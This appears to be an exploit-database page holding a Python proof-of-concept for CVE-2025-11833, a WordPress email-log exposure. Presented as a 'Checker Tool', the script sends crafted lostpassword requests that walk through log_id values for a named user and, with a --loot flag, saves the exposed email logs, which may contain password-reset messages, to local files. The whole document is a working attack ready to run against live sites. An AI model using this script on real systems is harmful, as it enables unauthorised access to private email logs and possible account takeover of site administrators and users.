4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
import requests
import argparse
import os

RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
RESET = "\033[0m"


def get_args():
    parser = argparse.ArgumentParser(description="CVE-2025-11833 Checker Tool")
    parser.add_argument("--url", required=True, help="WordPress site URL (e.g. http://localhost)")
    parser.add_argument("--username", required=True, help="Target username (e.g., admin)")
    parser.add_argument("--start", type=int, default=1, help="Starting log_id (default: 1)")
    parser.add_argument("--end", type=int, default=256, help="Ending log_id (default: 256)")
    parser.add_argument("--loot", action="store_true", help="Save found logs into loot/ folder")
    return parser.parse_args()

def save_loot(log_id, content):
    os.makedirs("loot", exist_ok=True)
    path = f"loot/log_{log_id}.txt"
    with open(path, "w", encoding="utf-8") as f:
        f.write(content)
    print(f"{YELLOW}    └── Saved → {path}{RESET}")

def send_request(base_url, username, log_id):
    endpoint = f"{base_url}/wp-login.php?action=lostpassword&page=postman_email_log&view=log&log_id={log_id}"

    data = {
        "user_login": username,
        "redirect_to": "",
        "wp-submit": "Get New Password"
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    try:
        response = requests.post(endpoint, data=data, headers=headers, timeout=10)
        return response
    except Exception as e:
        print(f"{RED}[!] Request error for log_id {log_id}: {e}{RESET}")
        return None

def body_indicates_invalid_user(text: str) -> bool:
    text = text.lower()
    keywords = [
        "no account", "invalid username", "unknown user",
        "user not found", "there is no account", "not registered"
    ]
    return any(k in text for k in keywords)

def main():
    args = get_args()

    base_url = args.url.rstrip("/")
    username = args.username
    start_id = args.start
    end_id = args.end
    loot_enabled = args.loot

    print(f"{BLUE}[*] Target URL : {base_url}{RESET}")
    print(f"{BLUE}[*] Username   : {username}{RESET}")
    print(f"{BLUE}[*] Log ID Range : {start_id} → {end_id}{RESET}")
    print(f"{BLUE}[*] Loot Saving : {'ON' if loot_enabled else 'OFF'}{RESET}")
    print("-" * 60)

    for log_id in range(start_id, end_id + 1):

        response = send_request(base_url, username, log_id)
        if response is None:
            continue

        if body_indicates_invalid_user(response.text):
            print(f"\n{RED}[!] ERROR: Server indicates 'no account' or 'invalid username'!{RESET}")
            print(f"{RED}[!] The provided username is likely incorrect.{RESET}")
            print(f"{YELLOW}[!] Stopping scan to avoid wasting time.{RESET}\n")
            return  # Abort scanning

        status_ok = response.status_code == 200
        body_ok = len(response.text.strip()) > 0

        if status_ok and body_ok:
            print(f"{GREEN}[✓] log_id {log_id} -> Log Found{RESET}")

            if loot_enabled:
                save_loot(log_id, response.text)

        else:
            print(f"{RED}[x] log_id {log_id} -> Log Not Found{RESET}")

if __name__ == "__main__":
    main()